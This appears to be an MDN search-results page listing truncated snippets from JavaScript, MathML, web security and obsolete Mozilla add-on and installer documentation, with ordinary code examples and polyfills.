Object.isFrozen() - JavaScript
return value a boolean indicating whether or not the given object is frozen.
...var oneprop = { p: 42 }; object.isfrozen(oneprop); // === false // preventing extensions to the object still doesn't // make it frozen, because the property is still // configurable (and writable).
...object.defineproperty(accessor, 'food', { configurable: false }); object.isfrozen(accessor); // === true // but the easiest way for an object to be frozen // is if object.freeze has been called on it.
...And 2 more matches
Object.preventExtensions() - JavaScript
description an object is extensible if new properties can be added to it.
...properties can still be added to the object prototype.
...var empty = {}; object.isextensible(empty); // === true // ...but that can be changed.
...And 2 more matches
handler.defineProperty() - JavaScript
return value the defineproperty() method must return a boolean indicating whether or not the property has been successfully defined.
... interceptions this trap can intercept these operations: object.defineproperty() reflect.defineproperty() invariants if the following invariants are violated, the proxy will throw a typeerror: a property cannot be added, if the target object is not extensible.
... a property cannot be added as or modified to be non-configurable, if it does not exists as a non-configurable own property of the target object.
...And 2 more matches
handler.setPrototypeOf() - JavaScript
interceptions this trap can intercept these operations: object.setprototypeof() reflect.setprototypeof() invariants if the following invariants are violated, the proxy will throw a typeerror: if target is not extensible, the prototype parameter must be the same value as object.getprototypeof(target).
... examples if you want to disallow setting a new prototype for your object, your handler's setprototypeof() method can either return false, or it can throw an exception.
... if the mutation is performed by an operation that doesn't ordinarily throw in case of failure, such as reflect.setprototypeof(), no exception will be thrown.
...And 2 more matches
Reflect.construct() - JavaScript
it is equivalent to calling new target(...args).
... syntax reflect.construct(target, argumentslist[, newtarget]) parameters target the target function to call.
... argumentslist an array-like object specifying the arguments with which target should be called.
...And 2 more matches
Reflect.defineProperty() - JavaScript
return value a boolean indicating whether or not the property was successfully defined.
... description the reflect.defineproperty method allows precise addition to or modification of a property on an object.
...reflect.defineproperty, however, simply returns a boolean indicating whether or not the property was successfully defined.
...And 2 more matches
RegExp.prototype[@@search]() - JavaScript
description this method is called internally in string.prototype.search().
... examples direct call this method can be used in almost the same way as string.prototype.search(), except the different this and the different arguments order.
... var re = /-/g; var str = '2016-01-02'; var result = re[symbol.search](str); console.log(result); // 4 using @@search in subclasses subclass of regexp can override [@@search]() method to modify the behavior.
...And 2 more matches
RegExp.prototype[@@split]() - JavaScript
description this method is called internally in string.prototype.split() if its separator argument is an object that has a @@split method, such as a regexp.
... examples direct call this method can be used in almost the same way as string.prototype.split(), except the different this and the different order of arguments.
... let re = /-/g; let str = '2016-01-02'; let result = re[symbol.split](str); console.log(result); // ["2016", "01", "02"] using @@split in subclasses subclasses of regexp can override the [@@split]() method to modify the default behavior.
...And 2 more matches
RegExp.prototype.sticky - JavaScript
the sticky property reflects whether or not the search is sticky (searches in strings only from the index indicated by the lastindex property of this regular expression).
...the "y" flag indicates that it matches only from the index indicated by the lastindex property of this regular expression in the target string (and does not attempt to match from any later indexes).
... you cannot change this property directly.
...And 2 more matches
String.fromCodePoint() - JavaScript
because fromcodepoint() is a static method of string, you must call it as string.fromcodepoint(), rather than as a method of a string object you created.
... use the code below for a polyfill: if (!string.fromcodepoint) (function(stringfromcharcode) { var fromcodepoint = function(_) { var codeunits = [], codelen = 0, result = ""; for (var index=0, len = arguments.length; index !== len; ++index) { var codepoint = +arguments[index]; // correctly handles all cases including `nan`, `-infinity`, `+infinity` // the surrounding `!(...)` is required to correctly handle `nan` cases // the (codepoint>>>0) === codepoint clause handles decimals and negatives if (!(codepoint < 0x10ffff && (codepoint>>>0) === codepoint)) throw rangeerror("invalid code point: " + codepoint); if (codepoint <= 0xffff) { // bmp code point ...
... result += stringfromcharcode.apply(null, codeunits); codeunits.length = 0; } } return result + stringfromcharcode.apply(null, codeunits); }; try { // ie 8 only supports `object.defineproperty` on dom elements object.defineproperty(string, "fromcodepoint", { "value": fromcodepoint, "configurable": true, "writable": true }); } catch(e) { string.fromcodepoint = fromcodepoint; } }(string.fromcharcode)); examples using fromcodepoint() valid input: string.fromcodepoint(42); // "*" string.fromcodepoint(65, 90); // "az" string.fromcodepoint(0x404); // "\u0404" == "Є" string.fromcodepoint(0x2f804); // "\ud87e\udc04" string.fromcodepoint(194564); // "\ud87e\udc04" string.fromcodepoint(0x1d306, 0x61, ...
...And 2 more matches
String.prototype.lastIndexOf() - JavaScript
the lastindexof() method returns the index within the calling string object of the last occurrence of the specified value, searching backwards from fromindex.
... 'canal'.lastindexof('a'); // returns 3 'canal'.lastindexof('a', 2); // returns 1 'canal'.lastindexof('a', 0); // returns -1 'canal'.lastindexof('x'); // returns -1 'canal'.lastindexof('c', -5); // returns 0 'canal'.lastindexof('c', 0); // returns 0 'canal'.lastindexof(''); // returns 5 'canal'.lastindexof('', 2); // returns 2 note: 'abab'.lastindexof('ab', 2) will return 2 and no...
... case-sensitivity the lastindexof() method is case sensitive.
...And 2 more matches
String.prototype.startsWith() - JavaScript
this method is case-sensitive.
... polyfill this method has been added to the ecmascript 2015 specification and may not be available in all javascript implementations yet.
... however, you can polyfill string.prototype.startswith() with the following snippet: if (!string.prototype.startswith) { object.defineproperty(string.prototype, 'startswith', { value: function(search, rawpos) { var pos = rawpos > 0 ?
...And 2 more matches
String.prototype.substr() - JavaScript
its value is capped at str.length.
...its value is capped at -str.length.
...to use this feature in jscript, you can use the following code: // only run when the substr() function is broken if ('ab'.substr(-1) != 'b') { /** * get the substring of a string * @param {integer} start where to start the substring * @param {integer} length how many characters to return * @return {string} */ string.prototype.substr = function(substr) { return function(start, length) { // call ...
...And 2 more matches
Symbol.unscopables - JavaScript
description the @@unscopables symbol (symbol.unscopables) can be defined on any object to exclude property names from being exposed as lexical variables in with with environment bindings.
... setting a property to true in an unscopables object will make it unscopable and therefore it won't appear in lexical scope variables.
... setting a property to false will make it scopable and thus it will appear in lexical scope variables.
...And 2 more matches
WebAssembly.CompileError() constructor - JavaScript
the webassembly.compileerror() constructor creates a new webassembly compileerror object, which indicates an error during webassembly decoding or validation.
... filename optional the name of the file containing the code that caused the exception.
... linenumber optional the line number of the code that caused the exception.
...And 2 more matches
WebAssembly.LinkError() constructor - JavaScript
the webassembly.linkerror() constructor creates a new webassembly linkerror object, which indicates an error during module instantiation (besides traps from the start function).
... filename optional the name of the file containing the code that caused the exception.
... linenumber optional the line number of the code that caused the exception.
...And 2 more matches
WebAssembly.Table - JavaScript
note: tables can currently only store function references, but this will likely be expanded in the future.
... so after instantiation, the table still has length 2, but the elements now contain callable exported webassembly functions which we can call from js.
... webassembly.instantiatestreaming(fetch('table2.wasm'), importobject) .then(function(obj) { console.log(tbl.length); console.log(tbl.get(0)()); console.log(tbl.get(1)()); }); note how you've got to include a second function invocation operator at the end of the accessor to actually invoke the referenced function and log the value stored inside it (e.g.
...And 2 more matches
WebAssembly.instantiateStreaming() - JavaScript
this module can be instantiated again or shared via postmessage().
... if the operation fails, the promise rejects with a webassembly.compileerror, webassembly.linkerror, or webassembly.runtimeerror, depending on the cause of the failure.
...because the instantiatestreaming() function accepts a promise for a response object, you can directly pass it a windoworworkerglobalscope.fetch() call, and it will pass the response into the function when it fulfills.
...And 2 more matches
encodeURI() - JavaScript
the encodeuri() function encodes a uri by replacing each instance of certain characters by one, two, three, or four escape sequences representing the utf-8 encoding of the character (will only be four escape sequences for characters composed of two "surrogate" characters).
...the following example shows all the parts that a uri "scheme" can possibly contain.
...(see rfc2396) encodeuri() escapes all characters except: not escaped: a-z a-z 0-9 ; , / ?
...And 2 more matches
in operator - JavaScript
trees // returns true 6 in trees // returns false 'bay' in trees // returns false (you must specify the index number, not the value at that index) 'length' in trees // returns true (length is an array property) symbol.iterator in trees // returns true (arrays are iterable, works only in es2015+) // predefined objects 'pi' in math // returns true // custom objects let mycar = {make: 'honda', model: 'accord', year: 1998} 'make' in mycar // returns true 'model' in mycar // returns true you must specify an object on the right side of the in operator.
... for example, you can specify a string created with the string constructor, but you cannot specify a string literal.
... let mycar = {make: 'honda', model: 'accord', year: 1998} delete mycar.make 'make' in mycar // returns false let trees = new array('redwood', 'bay', 'cedar', 'oak', 'maple') delete trees[3] 3 in trees // returns false if you set a property to undefined but do not delete it, the in operator returns true for that property.
...And 2 more matches
block - JavaScript
labelidentifier an optional label for visual identification or as a target for break.
... description the block statement is often called compound statement in other languages.
...for example: var x = 1; { var x = 2; } console.log(x); // logs 2 this logs 2 because the var x statement within the block is in the same scope as the var x statement before the block.
...And 2 more matches
function declaration - JavaScript
you can also define functions using the function constructor and a function expression.
... a function can also be created using an expression (see function expression).
... conditionally created functions functions can be conditionally declared, that is, a function statement can be nested within an if statement, however the results are inconsistent across implementations and therefore this pattern should not be used in production code.
...And 2 more matches
JavaScript reference - JavaScript
y biguint64array keyed collections map set weakmap weakset structured data arraybuffer sharedarraybuffer atomics dataview json control abstraction promise generator generatorfunction asyncfunction reflection reflect proxy internationalization intl intl.collator intl.datetimeformat intl.displaynames intl.listformat intl.locale intl.numberformat intl.pluralrules intl.relativetimeformat webassembly webassembly webassembly.module webassembly.instance webassembly.memory webassembly.table webassembly.compileerror webassembly.linkerror webassembly.runtimeerror statements javascript statements and declarations control flowblock break continue empty if...else switch ...
...throw try...catch declarations var let const functions and classes function function* async function return class iterations do...while for for each...in for...in for...of for await...of while other debugger import label with expressions and operators javascript expressions and operators.
... arithmetic operators + - / * % ** relational operators in instanceof < > <= >= equality operators == != === !== bitwise shift operators << >> >>> binary bitwise operators& | ^ binary logical operators && || conditional (ternary) operator (condition ?
...And 2 more matches
JavaScript shells - JavaScript
node.js - node.js is a platform for easily building fast, scalable network applications.
... gluescript - a standalone javascript shell for writing cross-platform javascript applications.
... it can use wxwidgets for gui apps and was formerly called wxjavascript.
...And 2 more matches
serviceworker - Web app manifests
examples "serviceworker": { "src": "./serviceworker.js", "scope": "/app", "type": "", "update_via_cache": "none" } values service worker contain the following values (only src is required): member description src the url to download the service worker script from.
... scope a string representing a url that defines a service worker's registration scope; that is, what range of urls a service worker can control.
... this is usually a relative url, relative to the base url of the application.
...And 2 more matches
<mglyph> - MathML
WebMathMLElementmglyph
you can use #rgb, #rrggbb and html color names.
... valign specifies the vertical alignment with respect to the current baseline.
... examples <math> <mi><mglyph src="my-glyph.png" alt="my glyph"/></mi> </math> specifications specification status comment mathml 3.0the definition of 'mglyph' in that specification.
...And 2 more matches
<mroot> - MathML
WebMathMLElementmroot
you can use #rgb, #rrggbb and html color names.
...you can use #rgb, #rrggbb and html color names.
... examples sample rendering: rendering in your browser: x 3 <math> <mroot> <mi>x</mi> <mn>3</mn> </mroot> </math> specifications specification status comment mathml 3.0the definition of 'mroot' in that specification.
...And 2 more matches
<mspace> - MathML
WebMathMLElementmspace
linebreak indicates a line-break at the space.
...you can use #rgb, #rrggbb and html color names.
... examples <math> <mspace depth="40px" height="20px" /> <mspace width="100px" /> </math> specifications specification status comment mathml 3.0the definition of 'mspace' in that specification.
...And 2 more matches
<msqrt> - MathML
WebMathMLElementmsqrt
you can use #rgb, #rrggbb and html color names.
...you can use #rgb, #rrggbb and html color names.
... examples sample rendering: rendering in your browser: x <math> <msqrt> <mi>x</mi> </msqrt> </math> specifications specification status comment mathml 3.0the definition of 'msqrt' in that specification.
...And 2 more matches
Responsive Navigation Patterns - Progressive web apps (PWAs)
top and left navigation menus are common on larger screens, but are often not the optimal way to present information on small screens because of the reduced screen real estate.
... pros: one button in header maximizes space for content on a small screen important items stay visiblein most screen sizes and you decide the item priorities legibility of navigation items is maintained with adequate spacing, by automatically hiding items that don't fit cons: navigation items might be less discoverable because some items are hidden in the drop-down or toggle menu users may not notice the button contains a navigation menu in the smallest screen size one more step is needed to access the hidden navigation items pattern 2: expandable bottom menu similar to the first pattern, the top navigation i...
...the user can flip the menu open and select from the rest of the navigation items.
...And 2 more matches
Features restricted to secure contexts - Web security
api chrome/opera edge safari firefox async clipboard api 66 not supported not supported 63 background sync (see syncmanager, for example) 49 not supported not supported not supported cache-control: immutable not supported 15 11 49 credential management api 51 not supported not supported not supported generic sensor api 67 not supported not supported not supported payment request api (and basic card payment).
... push api 42 17 not supported 44 reporting api supported not supported not supported behind flag since fx 65 service workers 40 17 11.1 44 storage api 55 not supported not supported 51 web authentication api 65 in preview (17) in development 60 web bluetooth 56 not supported not supported not supported web midi (see midiaccess, for example) 43 not supported not supported not supported web crypto api 60 79 not supported 75 secure context restrictions that vary by browser some browsers may decide to disable certain apis in non-secure c...
... api chrome edge safari firefox application cache restricted to secure contexts planned in chrome 70 deprecation planning started in february 2018 public interest on deprecation webkit bug 182442 restricted to secure contexts in firefox 62 geolocation restricted to secure contexts in 50 restricted to secure contexts in 10 restricted to secure contexts in 55 device orientaion / device motion deprecation warning deprecation warnings since 60.
...And 2 more matches
Weak signature algorithms - Web security
the strength of the hash algorithm used in signing a digital certificate is a critical element of the security of the certificate.
... this article provides some information about signature algorithms known to be weak, so you can avoid them when appropriate.
... weaknesses in hash algorithms can lead to situations in which attackers can create or obtain fraudulent certificates.
...And 2 more matches
xml:base - XML: Extensible Markup Language
WebXMLxml:base
xml:base is like the html <base> element, but can specify the base uri per element as well as the entire document.
... the base url of a element can be queried from a script using node.baseuri.
... use cases if you have an inline svg you use as icons that needs to work in a document with a html baseelement , you can reset the uri on your icon sprite by setting the xml:base.
...And 2 more matches
child - XPath
WebXPathAxeschild
the child axis indicates the children of the context node.
... specifications specification status comment xpath 3.1the definition of 'child' in that specification.
... recommendation xpath 3.0the definition of 'child' in that specification.
...And 2 more matches
<xsl:number> - XSLT: Extensible Stylesheet Language Transformations
WebXSLTElementnumber
it can also be used to quickly format a number.
...(the nested format can be specified with the format attribute, e.g.
...if both systems begin with the same token, ambiguity can arise.
...And 2 more matches
For Further Reading - XSLT: Extensible Stylesheet Language Transformations
ray length: 432 pages publisher: o'reilly media; 2 edition (september 22, 2003) isbn: 0596004206 as the title indicates, this is an overview of xml generally.
... chapter 6 is devoted specifically to xslt.
...day location: http://www-106.ibm.com/developerwork...-hands-on-xsl/ understanding xslt author: jay greenspan location: http://hotwired.lycos.com/webmonkey/...l?tw=authoring what is xslt?
...And 2 more matches
High-Level APIs - Archive of obsolete content
l10n localize strings appearing in the add-on's javascript code.
... notifications display transient, toaster-style desktop messages to the user.
... private-browsing check whether a given object is private, so an add-on can respect private browsing querystring utility functions for working with query strings.
... simple-prefs store preferences across application restarts.
chrome - Archive of obsolete content
we intend to deprecate it in future releases.
... if you use this api you can expect your add-on to get an extra security review by addons.mozilla.org.
... this module should not be confused with the "chrome" global variable that webextensions can use to access apis.
... you can see an example of using this api in the xul migration guide.
frame/hidden-frame - Archive of obsolete content
the following code creates a hidden frame, loads a web page into it, and then logs its title: var hiddenframes = require("sdk/frame/hidden-frame"); let hiddenframe = hiddenframes.add(hiddenframes.hiddenframe({ onready: function() { this.element.contentwindow.location = "http://www.mozilla.org/"; let self = this; this.element.addeventlistener("domcontentloaded", function() { console.log(self.element.contentdocument.title); }, true, true); } })); see the panel module for a real-world example of usage of this module.
... parameters options : object required options: name type onready function,array functions to call when the frame is ready to load content.
... you must specify an onready callback and refrain from using the hidden frame until the callback gets called, because hidden frames are not always ready to load content the moment they are added.
... properties element the host application frame in which the page is loaded.
Implementing the widget - Archive of obsolete content
deprecated in firefox 29 and removed in firefox 38.
... the widget api is deprecated from firefox 29 onwards.
... because the widget's click event does not distinguish left and right mouse clicks, we'll use a content script to capture the click events and send the corresponding message back to our add-on.
... the widget's icons you can copy the widget's icons from here: or, if you're feeling creative, you can make your own icons.
Label and description - Archive of obsolete content
to cause the text to wrap: ensure the long-running text is a text node child of <description/> or <label/> (i.e., do not specify the long-running text in the value attribute of these elements).
...text cannot wrap automatically but can still be achieved with <html:br/> if desired.
... absolutely nothing!</description> text can also be made to wrap by inserting an <html:br/> element regardless of the css style, but this creates a hard-break that does not change as parent elements resize.
... note: if running in a xulrunner application add the following preferences to your default preferences file: pref("network.protocol-handler.expose.http", false); pref("network.protocol-handler.warn-external.http", false); change or add additional protocols (https or ftp) as needed.
Tree - Archive of obsolete content
<tree id="my-tree" seltype="single" onselect="ontreeselected()"> use the following javascript: function ontreeselected(){ var tree = document.getelementbyid("my-tree"); var cellindex = 0; var celltext = tree.view.getcelltext(tree.currentindex, tree.columns.getcolumnat(cellindex)); alert(celltext); } getting the tree item from the focused row assuming <tree id="my-tree">, you can use the following to get the tree item: var view = document.getelementbyid("my-tree").view; var sel = view.selection.currentindex; //returns -1 if the tree is not focused var treeitem = view.getitematindex(sel); note that the current index may be unselected (for example, a multi-select tree).
...you can't add event handlers to <treecell>.
... instead, you can add the event handler to the <tree> element.
... you can then use the event and some utility methods to find the <treecell>.
Downloading JSON and JavaScript in extensions - Archive of obsolete content
the practice is dangerous because the decoded javascript has full chrome privileges and could perform some nasty actions.
...this usually happens because the extension is trying to keep some of its code fresh and dynamic, and the developers don't want to create a new version of the extension for each script change.
... in this case, javascript sandboxing should be used to isolate the downloaded javascript from the rest of the extension, and host application.
...sandboxing is not without its dangers and developers should read the sandboxing page carefully to make sure untrusted code is not leaked out of the sandbox.
MozOrientation - Archive of obsolete content
the z axis represents acceleration vertically.
...moving the device upward causes the value to increase.
... to normalize between the two you can do something like this: function orientationhandler(evt){ // for ff3.6+ if (!evt.gamma && !evt.beta) { evt.gamma = -(evt.x * (180 / math.pi)); evt.beta = -(evt.y * (180 / math.pi)); } // use evt.gamma, evt.beta, and evt.alpha // according to dev.w3.org/geo/api/spec-source-orientation } window.addeventlistener('deviceorientation', orientationhandler, false); window...
... specification not part of any specification.
progress - Archive of obsolete content
general info specification offline interface progressevent bubbles no cancelable no target applicationcache default action none properties property type description target eventtarget (dom element) the event target (the topmost target in the dom tree).
... canbubble boolean does the event normally bubble?
... cancelable boolean is it possible to cancel the event?
... related events checking noupdate downloading progress cached updateready obsolete error ...
Using content preferences - Archive of obsolete content
this permits code running within chrome (in other words: extensions and the browser itself, not web sites) to locally save preferences on a per-site basis.
... browser.upload.lastdir path of a filesystem directory this preference is stored and retrieved automatically by file upload controls.
...because of this, in private browsing mode, use of the content preference service needed to be avoided while in private browsing mode; instead, information needed to be stored in memory or preferences had to be avoided.
... starting in gecko 9.0, when in private browsing mode, the content preference service stores preferences in memory instead of on disk, and automatically forgets them when leaving private browsing mode.
How Mozilla finds its configuration files - Archive of obsolete content
how mozilla finds its configuration files mozilla looks into the binary %userprofile%\application data\mozilla\registry.dat file for its "registry", which contains, amongst other information, a pointer to the directory where the profile is stored (located at common/profiles/profilename/directory.
...all other files in that directory are dynamically created by mozilla on first start.
...if you use the userd system from the lll project, you can generate this automatically with the user's personal values by using this template file prefs.js.tmpl n.b.
... mozilla includes a profile manager, but unfortunately this always include a random part (salt) into the profile's filename, and thus cannot be used to point mozilla to a profile of the our chosing.
DTrace - Archive of obsolete content
probe data can be collected with scripts written in d (no, not that one).
... mozilla dtrace support has been added by the sun dtrace team and can be used on solaris 10 and mac os x 10.5.
...if you find that there are still use cases of consequence, you're welcome to file a documentation bug.
... dtrace for web developers how to use dtrace to profile your web application.
Installing Dehydra - Archive of obsolete content
spidermonkey provides scripting capabilities for dehydra.
...you can skip the next section "building gcc 4.5" if you are using gcc 4.6 or above.
...(obsolete dehydra releases can be found on the mozilla ftp site.) hg clone http://hg.mozilla.org/rewriting-and-analysis/dehydra/ cd dehydra export cxx=/usr/bin/g++ ./configure \ --js-headers=$home/obj-js/dist/include \ --js-libs=$home/obj-js make # run dehydra and treehydra tests make check usage dehydra checking can be performed directly within the mozilla build.
...to run dehydra manually using g++, add the -fplugin and -fplugin-arg-gcc_dehydra-script/-fplugin-arg-gcc_treehydra-script flags to specify the location of the plugin and the location of the analysis script: g++ -quiet -fplugin=$home/dehydra/gcc_dehydra.so -fplugin-arg-gcc_dehydra-script=$dehydra_script \ -fshort-wchar $cppfile -s -o /dev/null for example, in the tests directory created by the installation procedure, i can run a dehydra script 'a.js' on a mozilla file like this: g++ -quiet -fplugin=../gcc_dehydra.so \ -fplugin-arg=a.js -fshort-wchar -fpreprocessed \ /home/dmandelin/builds/dehydra-gcc/browser/app/nsbrowserapp.ii -o /dev/null the -fshort-wchar is required for running against firefox, but not n...
First run - Archive of obsolete content
you can also register a callback that will be called after installation.
... you can replace this text with a page tailored to your jetpack.
... this page can be defined as either html or a remote url.
... </p> </> }; in this example, the page at http://example.com/myjetpack becomes the first-run page: var manifest = { firstrunpage: "http://example.com/myjetpack" }; first-run callback you can register a callback that will be called after your jetpack has been successfully installed.
First Run - Archive of obsolete content
you can also register a callback that will be called after installation.
...you can replace this text with a page tailored to your jetpack.
...this page can be defined as either html or a remote url.
... </p> </> }; in this example, the page at [http://example.com/myjetpack] becomes the first-run page: var manifest = { firstrunpage: "http://example.com/myjetpack" }; first-run callback you can register a callback that will be called after your jetpack has been successfully installed.
Settings - Archive of obsolete content
jetpack will automatically generate a user interface based on the specification.
...because it is still under development, the api currently lives in the future and must be imported before it is used: specifying settings in a manifest to specify its settings, a jetpack defines a variable named manifest in its global namespace before it imports the settings api.
...jetpack will automatically generate a user interface from this specification that users of your jetpack may use to customize the settings.
... the user can open this interface from the "settings" button next to your jetpack on the "installed features" tab of the about:jetpack page.
Settings - Archive of obsolete content
jetpack will automatically generate a user interface based on the specification.
...because it is still under development, the api currently lives in the future and must be imported before it is used: jetpack.future.import("storage.settings"); specifying settings in a manifest to specify its settings, a jetpack defines a variable named manifest in its global namespace before it imports the settings api.
...jetpack will automatically generate a user interface from this specification that users of your jetpack may use to customize the settings.
... the user can open this interface from the "settings" button next to your jetpack on the "installed features" tab of the about:jetpack page.
Clipboard Test - Archive of obsolete content
fter{content: ","; padding-right: .5em; } .method>.name>.param>.name:after{content: " as "; font-weight: normal; } .method>.params{display: block; color:#555;} .method>.params>.param{display: block; margin-bottom:5px;} .method>.params>.param>.name{font-weight:bold; margin-right:.5em; min-width:80px; display:inline-block;} .method>.params>.param>.description{display:inline-block; width:300px; vertical-align:top;margin-right:30px} .method>.params>.param>.type{display:inline-block; width:100px; vertical-align:top;font-weight:bold;} .method>.params>.param>.type:before{content: "type "; color: #888; font-weight:normal;} .method>.params>.param>.default{display:inline-block; width:100px; vertical-align:top;font-weight:bold;} .method>.params>.param>.default:before{content: "default "; color: #888;fo...
...features can get and set the clipboard in various flavors of data type.
...the api is fairly straightforward; examples can be found here.
...remember to import clipboard from the future before calling it.
Plugin Architecture - Archive of obsolete content
do not use this document for deciding what plugins can rely on.
...it takes care of most of the work involved in loading the data and instantiating plugins.
... sequence of events in content a content node for a plugin dom element gets created in bindtotree (usually) or another function, it calls loadobject loadobject either notices directly that it is dealing with a plugin, or it starts a network request and notices this in onstartrequest when it realizes that, it tries to create a frame, if anotify is true and no frame exists yet if a frame exists now, it is asked to instantiate the plugin that was the normal case.
...(the event is necessary because by the time hasnewframe is called, the frame isn't fully set up yet) in layout note: some of this should move to content an instance owner is created the window passed to the plugin is adjusted (the npwindow, http://devedge-temp.mozilla.org/libr...nt.html#999221) the plugin host is asked to instantiate the plugin this will call back to the instance owner / the object frame in order to create a widget to draw to (if the plugin is not windowless) nsplugininstanceowner::setwindow setwindow is called on the plugin ...
Remotely debugging Firefox for Metro - Archive of obsolete content
set up firefox for metro go to about:config in firefox for metro, and set the following required preference: devtools.debugger.remote-enabled = true you may also want to set these optional preferences: devtools.debugger.force-local = false (if you want to connect from a different machine over the network) devtools.debugger.remote-host (to change the tcp hostname where firefox will listen for connections) devtools.debugger.remote-port (to change the tcp port number where firefox will listen for connections) devtools.debugger.prompt-connection = false (allow connections without displaying a confirmation prompt.
... this can be a security risk, especially if you also set the force-local preference to false.) set up firefox for desktop on the desktop, remote debugging is enabled by a setting in the toolbox.
...you'll see a page that looks like this: if you are running firefox for metro on the same computer with the default settings, use the default host (localhost) and port (6000), and press the "connect" button.
...the toolbox will open in its own window, attached to the firefox for metro tab that's currently hosting mozilla.org: the toolbox, and the tools it hosts (including the console, debugger, style editor, profiler, etc.), work in just the same way as they do when attached to local content.
open - Archive of obsolete content
text indicates ascii text without nul characters.
... binary indicates utf-8 files.
... unicode indicates ucs-2 files.
... for all file types, carriage returns and linefeeds are treated in a platform-agnostic way.
Tamarin mercurial commit hook - Archive of obsolete content
the hook is located in the tamarin-redux repository in the file utils/hooks/tamarin-commit-hook.py this is a simple mercurial hook that checks the following filetypes ('.cpp', '.h', '.as', '.abs', '.py') for the following: tabs anywhere in the line trailing whitespace windows line endings (\r\n) "mark_security_change" - looks for this text and warns user as security changes should not be checked into the public tamarin-redux repository.
... installing the commit hook the easiest way to implement the hook is to sync to the tip of tamarin-redux then add the following to your tamarin-redux/.hg/hgrc file (or to ~/.hgrc to implement for all local repos): [hooks] pretxncommit.commit = python:/path/to/tamarin-redux/utils/hooks/tamarin-commit-hook.py:master_hook once added, all commits will run the commit hook.
... hook use on every commit to your local repository, the hook will only check for violations in any new / changed code.
... this allows you to reuse the commit message after fixing the issue by using the -l (--logfile) option: hg commit -l /reporoot/.hg/commit.save notes at the moment this is a local-only hook and is not enforced on the server.
The Download Manager schema - Archive of obsolete content
the table is kept in a database file named "downloads.sqlite", in a table called "moz_downloads".
... this information is available using nsidownloadmanager methods to retrieve nsidownload objects for each download entry; however, if you feel like poking directly into the table, you can do so using the storage api.
... preferredapplication text the preferred application to use to open the file after the download is complete.
... autoresume integer 0 if the file should not automatically resume downloading, 1 if it should.
Video presentations - Archive of obsolete content
mozilla is actively working to produce video presentations that can help you learn how the mozilla codebase works and how to take advantage of its technology in your own applications and extensions.
... the mozilla community (part 1, part 2) this presentation talks about the mozilla community and how you can get involved smoothly.
... (as quicktime; 170 mb and 80 mb) mozilla-seneca projects q&a with mike shaver (part 1, part 2) mike shaver answers questions about the mozilla project.
... how the build works (part 1, part 2, part 2; second camera, slides) this presentation covers how the mozilla build system works, how to configure the build system, and how to build mozilla projects.
Unix stub installer - Archive of obsolete content
build the unix installer (debug or non-debug target) by typing "make" in the src2 directory grab a nightly build, say from <http://ftp.mozilla.org/pub/mozilla/n...staller.tar.gz> gunzip and untar the build to some temporary location like /tmp.
... you can step into the xpinstall engine through the xpistub once the xpistub dll is loaded.
... add an <component>.jst install script template file (the jst extension stands for javascript template indicating this is a template for the final install.js for the <component>.xpi.
... finally add a call to generate the xpi at package time by adding a makexpifile("<component>"); call at: <http://lxr.mozilla.org/seamonkey/sou.../makeall.pl#75> you can test it by changing your current working directory to mozilla/xpinstall/packager/unix and running "perl deliver.pl" on the shell prompt.
Install Wizards (aka: Stub Installers) - Archive of obsolete content
an installer package is an archive file (called xpi--pronounced "zippies"--because of its .xpi extensions) in phil katz zip format.
...it then proceeds to extract the xpinstall engine and feed it the downloaded software packages to install.) the stub installer code includes: the logic to display the install wizard widgets and dialogs the code that reads in the configuration file (config.ini) and dynamically installs from the net or from local xpi modules found next to the installer binary the code that processes user selections the code that calls the xpinstall engine through xpistub the libxpnet code that is statically linked in the stub installers are written in code native to the platform using native widget toolkits including the windows api for windows, the mac toolbox for the mac, and g...
... the xpinstall engine is not called directly by the stub installer.
... the stub installer calls some glue code: xpistub which resides at: < http://lxr.mozilla.org/seamonkey/sou...pinstall/stub/> this "glue" code initialized xpcom and registers the xpinstall engine and requisite components to prepare for use by the stub installer.
Windows Install - Archive of obsolete content
note the disk space verification, the editing of the windows registry, the writing to the installation log, and the error checking before either performinstall or cancelinstall is called.
... // this function verifies disk space in kilobytes function verifydiskspace(dirpath, spacerequired) { var spaceavailable; // get the available disk space on the given path spaceavailable = filegetdiskspaceavailable(dirpath); // convert the available disk space into kilobytes spaceavailable = parseint(spaceavailable / 1024); // do the verification if(spaceavailable < spacerequired) { logcomment("insufficient disk space: " + dirpath); logcomment(" required : " + spacerequired + " k"); logcomment(" available: " + spaceavailable + " k"); return(false); } return(true); } function updatewinreg4ren8dot3() { var fprogram = getfolder("program"); var ftemp = getfolder("temporary"); //notes: // can't use a double backslash before subkey // -...
... // subkeys have to exist before values can be put in.
..., "bin", // dir name in jar to extract fprogram, // where to put this file // (returned from getfolder) "", // subdir name to create relative to fprogram true); // force flag logcomment("adddirectory() returned: " + err); // check return value if(err == success) { err = performinstall(); logcomment("performinstall() returned: " + err); } else cancelinstall(err); } else cancelinstall(insufficient_disk_space); // end main ...
refreshPlugins - Archive of obsolete content
method of install object syntax int refreshplugins( [ areloadpages ] ); parameters the refreshplugins method has the following parameter: areloadpages areloadpages is an optional boolean value indicating whether you want to reload the open web pages after you have refreshed the plug-in list.
...when you use this method in an installation script, as the example below demonstrates, you can install new plug-ins and use them to display the requested media in a web page without interrupting the experience of the user.
... note that refreshplugins must be called after the performinstall method that initiates the actual installation.
...; var xpisrc2 = "nsic3dpscriptablepeer.xpt"; initinstall( "cult3d plugin file", "@cycore.com/cult3d;version=1.0.0", "1.0.0"); setpackagefolder(getfolder("plugins")); addfile(xpisrc); addfile("",xpisrc2,getfolder("components"),""); var err = getlasterror(); if (err == success) { err = performinstall(); if (err == success) refreshplugins(); } else cancelinstall(err); ...
WinReg Object - Archive of obsolete content
the majority of this api is now deprecated and as of gecko 1.9 no longer available.
...instead, you construct an instance of this object by calling the getwinregistry method of the install object.
...typically values in the windows registry are strings.
...however, writing to the registry is delayed until performinstall is called.
XPInstall API reference - Archive of obsolete content
the majority of this api is now deprecated and as of gecko 1.9 no longer available.
...objects install properties methods adddirectory addfile alert cancelinstall confirm deleteregisteredfile execute gestalt getcomponentfolder getfolder getlasterror getwinprofile getwinregistry initinstall loadresources logcomment patch performinstall refreshplugins registerchrome reseterror setpackagefolder installtrigger no properties methods ...
... installchrome startsoftwareupdate installversion properties methods compareto init tostring file no properties methods copy dircreate dirgetparent dirremove dirrename diskspaceavailable execute exists isdirectory isfile macalias moddate moddatechanged move remove rename size windowsgetshortname windowsregisterserver windowsshortcut winprofile no properties methods getstring writestring winreg no properties methods createkey deletekey deletevalue ...
